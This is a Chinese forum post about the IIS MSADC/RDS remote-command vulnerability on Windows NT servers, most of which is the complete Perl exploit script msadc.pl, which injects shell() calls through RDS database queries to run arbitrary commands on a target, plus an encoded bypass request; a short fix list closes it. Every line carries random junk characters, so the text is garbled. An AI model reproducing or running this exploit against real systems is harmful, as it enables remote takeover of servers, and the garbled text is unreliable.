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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) pe$" nUy|  
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涉及程序: ce-5XqzY@  
Microsoft NT server |1C=Ow*"  
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描述: 8gWifx #N  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 CIAHsbn.A  
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详细: SVWtKc<  
如果你没有时间读详细内容的话,就删除: 4%>iIPXi.(  
c:\Program Files\Common Files\System\Msadc\msadcs.dll d6,SZ*AE  
有关的安全问题就没有了。 .E}fk,hLB  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 L;$Gn"7~  
unu%\f>^4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 $}RBK'cr}  
关于利用ODBC远程漏洞的描述,请参看: gBb+Q,  
3* C9;Q}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |pxM8g1w  
qE?*:$  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %_C!3kKv~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6&/n/g  
sT:$:=  
这里不再论述。 ;zVtJG`  
{#"[h1  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: w&<-pIa`  
 Xr'Y[E [  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset AX3iB1):K  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! !\w@b`Iv8  
I?c "\Fe  
kSj,Pl\NC  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ?EQ]f34  
E wDFUK  
#!perl  V9\g?w  
# :4RD .l  
# MSADC/RDS 'usage' (aka exploit) script NT+%u-  
# |35"V3bs  
# by rain.forest.puppy a oj6/  
# | LdDL953  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me zMlW)NB'  
# beta test and find errors! 2VO bj7F  
xQ4 5B` $  
use Socket; use Getopt::Std; %GS^=Qr  
getopts("e:vd:h:XR", \%args); vt)u`/u  
<^>O<P:v  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; _Bh-*e2k  
 Za,rht  
if (!defined $args{h} && !defined $args{R}) { )fSO|4   
print qq~ a{*r^m'N  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Dn/{  s$\  
-h <host> = host you want to scan (ip or domain) j)?[S  
-d <seconds> = delay between calls, default 1 second '4 T}$a"i  
-X = dump Index Server path table, if available &Luq}^u  
-v = verbose n<RvL^T=  
-e = external dictionary file for step 5 m/}(dT;  
 g=W1y  
Or a -R will resume a command session K[} 5bjh>  
k~ Z9og  
~; exit;} -pEt=  
qQ\&]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; V`:iu n^f  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} J*HZ=6L  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Si=zxy T  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); qy@v, a  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} UC&f  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } w}2;f=  
4#D=+70'  
if (!defined $args{R}){ $ret = &has_msadc; 5-rG8  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} [!Uzw 2  
vb^/DMhz  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" i$`OOV=/e  
. "cmd /c "; "eKNk  
$in=<STDIN>; chomp $in; ?[<C,w~$`  
$command="cmd /c " . $in ; Op''=Ar#sh  
=)tU]kp  
if (defined $args{R}) {&load; exit;} Gp*U2LB  
$TU)O^c  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; mx\b6w7  
&try_btcustmr; jm~(OLg  
dC&{zNG  
print "\nStep 2: Trying to make our own DSN..."; )0F\[Jl}  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; q]PeS~PjF\  
gZkjh{rQ  
print "\nStep 3: Trying known DSNs..."; r(qAe{  
&known_dsn; d3% 1 P)  
E1'| ;}/  
print "\nStep 4: Trying known .mdbs..."; B?o ?LI  
&known_mdb; VI:EjZ/|a  
kC : pal  
if (defined $args{e}){ A\Ax5eeL  
print "\nStep 5: Trying dictionary of DSN names..."; ^)-* Ubzz  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } P|M#S9^]  
M@)^*=0H  
print "Sorry Charley...maybe next time?\n"; !a %6nBo  
exit; s Yp?V\Y"  
Ekq&.qjYG"  
############################################################################## f~bZTf  
<hG] f%  
sub sendraw { # ripped and modded from whisker #L,>)XkjS  
sleep($delay); # it's a DoS on the server! At least on mine... rID_^g_tP8  
my ($pstr)=@_; vpTYfE  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4(2iR0N  
die("Socket problems\n"); 'dTJE--@  
if(connect(S,pack "SnA4x8",2,80,$target)){ ur*a!U  
select(S); $|=1; |n9q 4*dN  
print $pstr; my @in=<S>; /m>%=_nz  
select(STDOUT); close(S); !\e&7sV~Q  
return @in; \gtI4zl*J  
} else { die("Can't connect...\n"); }} E]Wnl\Be  
J})#43P  
############################################################################## # MpW\yX  
pS [nKcyj  
sub make_header { # make the HTTP request >LqW;/&S<  
my $msadc=<<EOT :i{$p00 G  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 xw1@&QwM  
User-Agent: ACTIVEDATA zpPzXQv]/  
Host: $ip i^Ba?r;*  
Content-Length: $clen Kterp%J?  
Connection: Keep-Alive SM3qPlsF  
vsFRWpq  
ADCClientVersion:01.06 {3V%  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 *^h$%<QI  
 D I` M  
--!ADM!ROX!YOUR!WORLD! f[S$ Gu4-  
Content-Type: application/x-varg N\ Nwmx  
Content-Length: $reqlen SLCV|@G  
pUTC~|j%:  
EOT V%kZ-P*  
; $msadc=~s/\n/\r\n/g; zxo0:dyw7  
return $msadc;} A'jw;{8NpF  
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############################################################################## ,2*^G;J1  
C3m](%?   
sub make_req { # make the RDS request >9?BJv2  
my ($switch, $p1, $p2)=@_; y[L7=Td  
my $req=""; my $t1, $t2, $query, $dsn; *qh$,mp>  
[1Os.G2  
if ($switch==1){ # this is the btcustmr.mdb query ^M51@sXI7  
$query="Select * from Customers where City=" . make_shell(); (YOp  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . f76bEe/B9  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} BkZmE,  
1m$< %t.>  
elsif ($switch==2){ # this is general make table query C`)n\?:Sth  
$query="create table AZZ (B int, C varchar(10))"; !21#NCw  
$dsn="$p1";} {9 PeBc  
gy%/zbZx  
elsif ($switch==3){ # this is general exploit table query T(n<@Ac]V  
$query="select * from AZZ where C=" . make_shell(); x+mf QcSD&  
$dsn="$p1";} wF@mHv  
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elsif ($switch==4){ # attempt to hork file info from index server Hh|a(Zq,  
$query="select path from scope()"; |G!PG6%1  
$dsn="Provider=MSIDXS;";} ^+v6?%m  
p-KMELB  
elsif ($switch==5){ # bad query AdCi*="m  
$query="select"; p_K` `JE  
$dsn="$p1";} >_ )~"Ra  
{e>E4(  
$t1= make_unicode($query); IV#kF}9$  
$t2= make_unicode($dsn); KINKq`Sx  
$req = "\x02\x00\x03\x00"; &HS6}  
$req.= "\x08\x00" . pack ("S1", length($t1)); 3n\eCdV-b<  
$req.= "\x00\x00" . $t1 ; e3|@H'~k  
$req.= "\x08\x00" . pack ("S1", length($t2)); VaLx-RX  
$req.= "\x00\x00" . $t2 ; 8Gw0;Uu8D  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; kO1.27D  
return $req;} 4sj:%% UE  
^CZ)!3qd1  
############################################################################## M*& tVG   
S6J7^'h  
sub make_shell { # this makes the shell() statement yUZ;keQ_Tw  
return "'|shell(\"$command\")|'";} !A5UT-  
$U{ \T4  
############################################################################## ]+ \]2`?  
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sub make_unicode { # quick little function to convert to unicode 2E@ !  
my ($in)=@_; my $out; Q@7-UIV|q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } `2 vv8cg^  
return $out;} _A8x{[$  
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############################################################################## EQ;,b4k?&g  
>:2Br(S  
sub rdo_success { # checks for RDO return success (this is kludge) d=q&UCC  
my (@in) = @_; my $base=content_start(@in); Wq4>!|  
if($in[$base]=~/multipart\/mixed/){ (|(#W+l~  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} )^G&p[G  
return 0;} s'4S,  
4bT21J37  
############################################################################## (l|:$%[0  
ywPFL/@  
sub make_dsn { # this makes a DSN for us OS X5S:XS  
my @drives=("c","d","e","f"); %*>ee[^L ,  
print "\nMaking DSN: "; \~3g*V  
foreach $drive (@drives) { jz\LI  
print "$drive: "; yNw YP%"y  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . #i#4h<R  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" @0XqUcV  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); k"J [mT$b  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Tug}P K   
return 0 if $2 eq "404"; # not found/doesn't exist H;&^A5  
if($2 eq "200") { > xc7Hr~  
foreach $line (@results) { _N.N?>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 0st)/\  
} return 0;} >&1MD}  
[&Kn&bdKW  
############################################################################## kF09t5Lr  
D@M ZTb  
sub verify_exists { Anpx%NVo  
my ($page)=@_; ~AD%aHR  
my @results=sendraw("GET $page HTTP/1.0\n\n"); F?+K~['i  
return $results[0];} w(sD}YA)  
L5E|1T  
############################################################################## 1T{A(<:o$  
U1+X!&OCp  
sub try_btcustmr { Bf&,ACOf  
my @drives=("c","d","e","f"); WVP^C71  
my @dirs=("winnt","winnt35","winnt351","win","windows"); gC}r$ZB(  
M]S&vE{D  
foreach $dir (@dirs) { JN9 W:X.  
print "$dir -> "; # fun status so you can see progress 7 TTU&7l~  
foreach $drive (@drives) { CC(At.dd  
print "$drive: "; # ditto xB1Oh+@i  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _x.!, g{  
$reqlenlen=length( "$reqlen" ); [OH9/ "  
$clen= 206 + $reqlenlen + $reqlen; t)y WQV  
s|Hrb_[;l  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \'rh7!v-u  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} (s/hK  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} kc0YWW Q-:  
S nMHk3(\  
############################################################################## $1Lm=2;U  
 i7qG5U  
sub odbc_error { mN_KAln  
my (@in)=@_; my $base; :{iS0qJ  
my $base = content_start(@in); m=Z1DJG  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this }CR@XD}[  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N2!HkUy2  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XO*|P\#^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qusX]Tst z  
return $in[$base+4].$in[$base+5].$in[$base+6];} 3Mvm'T:[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; E~=`Ac,G2  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . hFDY2Cp]D  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} $'SWH+G  
$6BD6\@  
############################################################################## '.n0[2>  
Gw"H#9J} T  
sub verbose { ,ux?wa+  
my ($in)=@_; !nQ!J+ g  
return if !$verbose; 1-@[th  
print STDOUT "\n$in\n";} NJEubC?  
] ~;x$Z)  
############################################################################## `@8QQB  
+="?[:  
sub save { F_m[EB  
my ($p1, $p2, $p3, $p4)=@_; ])dq4\Bw  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Up61Xn  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; _N4G[jQLJ  
close OUT;} &zl=}xeA  
GqFDN],Wp  
############################################################################## ,tdV-9N[O  
UjNe0jt% s  
sub load { wS Ty2Oyo;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; b%w?YR   
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); /cPe zX  
@p=<IN>; close(IN); /{eD##vhP  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ;a]2hd"6  
$target= inet_aton($ip) || die("inet_aton problems"); ] m$;ra]  
print "Resuming to $ip ..."; beLT4~Z=  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; |1sl>X,  
if($p[1]==1) { 3"ALohlL  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; /D]?+<h1  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; _]SV@q^  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); |hsg= LX  
if (rdo_success(@results)){print "Success!\n";} [.M<h^xrB  
else { print "failed\n"; verbose(odbc_error(@results));}} ?a ~59!u  
elsif ($p[1]==3){ W^}fAcQKH  
if(run_query("$p[3]")){ aCu 8 D!  
print "Success!\n";} else { print "failed\n"; }} \2q!2XWgK  
elsif ($p[1]==4){ ^Ge3"^x1  
if(run_query($drvst . "$p[3]")){ 3I87|5V,Z  
print "Success!\n"; } else { print "failed\n"; }} N5>ioJj  
exit;} by 'P}  
9oOr-9t3  
############################################################################## _*d8:|qw  
o!q3+Pp;}  
sub create_table { ))y`q@  
my ($in)=@_; [O) Q\|k  
$reqlen=length( make_req(2,$in,"") ) - 28; 9M3XHj  
$reqlenlen=length( "$reqlen" ); F iZe4{(p  
$clen= 206 + $reqlenlen + $reqlen; -YF]k}|  
my @results=sendraw(make_header() . make_req(2,$in,"")); ,>6s~'  
return 1 if rdo_success(@results); ^_6.*Mvx  
my $temp= odbc_error(@results); verbose($temp); sEpY&6*  
return 1 if $temp=~/Table 'AZZ' already exists/; Eiqx1ZM  
return 0;} OhC%5=a7  
]L/h,bVI1  
############################################################################## "MH_hzbBF  
H Aq  
sub known_dsn { E$B7E@(U  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go q~*9A-MH  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", T%{qwZc+mJ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #bxUI{*J  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); *VJT]^_  
jH+ddBVA  
foreach $dSn (@dsns) { Up:<NHJT  
print "."; 2Zf} t  
next if (!is_access("DSN=$dSn")); G}!dm0s$  
if(create_table("DSN=$dSn")){ 8y9oj9 ;E]  
print "$dSn successful\n";  4x.1J  
if(run_query("DSN=$dSn")){ PQ6.1}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { } 0su[gy[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} IYeX\)Gv&  
)f#raXa5+  
############################################################################## blbL49;  
o:`>r/SlL  
sub is_access { AfU~k!4`  
my ($in)=@_; WCK;r{p%I  
$reqlen=length( make_req(5,$in,"") ) - 28; FW](GWp`:  
$reqlenlen=length( "$reqlen" ); S8 +GM  
$clen= 206 + $reqlenlen + $reqlen; Q8] lz}  
my @results=sendraw(make_header() . make_req(5,$in,"")); $)UMRG  
my $temp= odbc_error(@results); 0L3v[%_j"  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); O=2"t%Gc  
return 0;} {0a (R2nB  
L>4!@L5)  
############################################################################## VB*`"4e@b<  
(XF"ckma  
sub run_query { ,,U8X [A  
my ($in)=@_; oD0WHp  
$reqlen=length( make_req(3,$in,"") ) - 28; uc>u=kEue  
$reqlenlen=length( "$reqlen" ); in>Os@e#  
$clen= 206 + $reqlenlen + $reqlen; s L;  
my @results=sendraw(make_header() . make_req(3,$in,"")); >A'Q9Tia;  
return 1 if rdo_success(@results); azEN_oUV  
my $temp= odbc_error(@results); verbose($temp); "pQFIV,  
return 0;} ]yc&ffe%  
="~yD[S  
############################################################################## x4b.^5"`:  
An cka  
sub known_mdb { %9bf^LyD  
my @drives=("c","d","e","f","g"); 6V[ce4a%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \^l273  
my $dir, $drive, $mdb; I_QWdxn  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; T7F)'Mx<  
??X3teO{  
# this is sparse, because I don't know of many <4l;I*:2&  
my @sysmdbs=( "\\catroot\\icatalog.mdb", [SnnOqWw  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", wrORyj  
"\\system32\\certmdb.mdb", 7/$r  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Me*woCos'  
~"eQPTd  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", XsOz {?G  
"\\cfusion\\cfapps\\forums\\forums_.mdb", d7g3VF<j  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", dm;C @.ML  
"\\cfusion\\cfapps\\security\\realm_.mdb", #0;H'GO?c  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", +(a}S$C  
"\\cfusion\\database\\cfexamples.mdb", Sbf+;:D  
"\\cfusion\\database\\cfsnippets.mdb", UEm~5,>$0  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", xN^ngRg0  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?^y!}(  
"\\cfusion\\brighttiger\\database\\cleam.mdb", |j?iD  
"\\cfusion\\database\\smpolicy.mdb", M/!5r  
"\\cfusion\\database\cypress.mdb", aPR0DZ@  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", \=3fO(  
"\\website\\cgi-win\\dbsample.mdb", _'CYS3-P3  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", J5i$D0K[  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" C rA7lu'  
); #these are just BQ[,(T`+R  
foreach $drive (@drives) { (z8^^j[  
foreach $dir (@dirs){ fga{ b7  
foreach $mdb (@sysmdbs) { &]d-R  
print "."; Wciw6.@  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 2q4dCbJ!  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ]]R!MnU:$  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ @<^_ _."  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; qD#E, "%  
} else { print "Something's borked. Use verbose next time\n"; }}}}} DK\Ud6w  
*x0nAo_n  
foreach $drive (@drives) { $|0?$U7!  
foreach $mdb (@mdbs) { L%h Vts'  
print "."; 1Tb'f^M$  
if(create_table($drv . $drive . $dir . $mdb)){ XGs d"UW  
print "\n" . $drive . $dir . $mdb . " successful\n"; ZxvqLu  
if(run_query($drv . $drive . $dir . $mdb)){ 4hymQ3 g  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Ym]Dlz,o  
} else { print "Something's borked. Use verbose next time\n"; }}}} e*nT+Rp  
} .u<i<S  
F9N/_H*+  
############################################################################## 0=WZ 8|R  
Q!%C:b  
sub hork_idx { {c#{dT  
print "\nAttempting to dump Index Server tables...\n"; z_gjC%(y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Zze(Ik  
$reqlen=length( make_req(4,"","") ) - 28; <Z0N)0|  
$reqlenlen=length( "$reqlen" ); 7 3 Oo;  
$clen= 206 + $reqlenlen + $reqlen; E/<5JhI9~  
my @results=sendraw2(make_header() . make_req(4,"","")); :o2^?k8k&#  
if (rdo_success(@results)){ bVLuv`A/  
my $max=@results; my $c; my %d; Xa=M{x  
for($c=19; $c<$max; $c++){ 2D?V0>/  
$results[$c]=~s/\x00//g; dn? #}^,"  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; QqF&lMH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 9f wFSJx  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; TgDx3U[  
$d{"$1$2"}="";} /:<.Cn>-  
foreach $c (keys %d){ print "$c\n"; } h 2Kx  
} else {print "Index server doesn't seem to be installed.\n"; }} ~qjnV  
ZysZS%  
############################################################################## H@j D %  
W-72&\7  
sub dsn_dict { BAJEn6f?  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *[@k=!73  
while(<IN>){ Pc{0Js5VzE  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; o3s ME2  
next if (!is_access("DSN=$dSn")); ]<Ugg  
if(create_table("DSN=$dSn")){ Q5!"tF p  
print "$dSn successful\n"; ~_;x o?@ba  
if(run_query("DSN=$dSn")){ c@uNA0 p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { lZ\8$,B)  
print "Something's borked. Use verbose next time\n";}}} vWGjc2_  
print "\n"; close(IN);} j/C.='?%  
;Wo\MN  
############################################################################## +!'rw D  
/q3]AVV  
sub sendraw2 { # ripped and modded from whisker eM>f#M  
sleep($delay); # it's a DoS on the server! At least on mine... #]vy`rv  
my ($pstr)=@_; !)nA4l= S#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :(^, WOf  
die("Socket problems\n"); N~Kl{" >`  
if(connect(S,pack "SnA4x8",2,80,$target)){ SL j2/B0  
print "Connected. Getting data"; 2V-zmyJs5  
open(OUT,">raw.out"); my @in; zG[GyyAQ  
select(S); $|=1; print $pstr; vv9=g*"j  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} qYwEPGa\  
close(OUT); select(STDOUT); close(S); return @in; Zn-F!Lsv  
} else { die("Can't connect...\n"); }} xe=/T# %  
Lwy9QZL  
############################################################################## P ~sX S  
$@wTc  
sub content_start { # this will take in the server headers o1dECLQa  
my (@in)=@_; my $c; vz~QR i*  
for ($c=1;$c<500;$c++) { SF 7p/gG  
if($in[$c] =~/^\x0d\x0a/){ 2#^@awJ ?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } R Cgn\  
else { return $c+1; }}} R cz;|h8  
return -1;} # it should never get here actually K]<49`MX  
t9!8Bh<  
############################################################################## *h H\H  
`Dn"<-9:  
sub funky { O%Mi`\W@  
my (@in)=@_; my $error=odbc_error(@in); (|*CVI;  
if($error=~/ADO could not find the specified provider/){ 7I_1Lnnf  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; q@"0(Oj  
exit;} >~D-\,d|f  
if($error=~/A Handler is required/){ (b]r_|'  
print "\nServer has custom handler filters (they most likely are patched)\n"; b/yXE)3 X  
exit;} (B0tgg^jj,  
if($error=~/specified Handler has denied Access/){ 5y1:oiE/  
print "\nServer has custom handler filters (they most likely are patched)\n"; tbNIl cAWS  
exit;}} E|Q|Nx!6[  
*[QFIDn:  
############################################################################## ;1wRo`RD  
nO{m2&r+  
sub has_msadc { wcd1.$ n  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); tlz+!>  
my $base=content_start(@results); G<8d=}  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); sK&[sN33  
return 0;} u=U. +\f5  
|$)+h\h  
######################## `L. kyL  
pc=f,  
yLDv/r  
解决方案: @u.%z# h"1  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 7a0kat '\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9k`}fk\M  
m"r=p  
拿出来充数 哈哈
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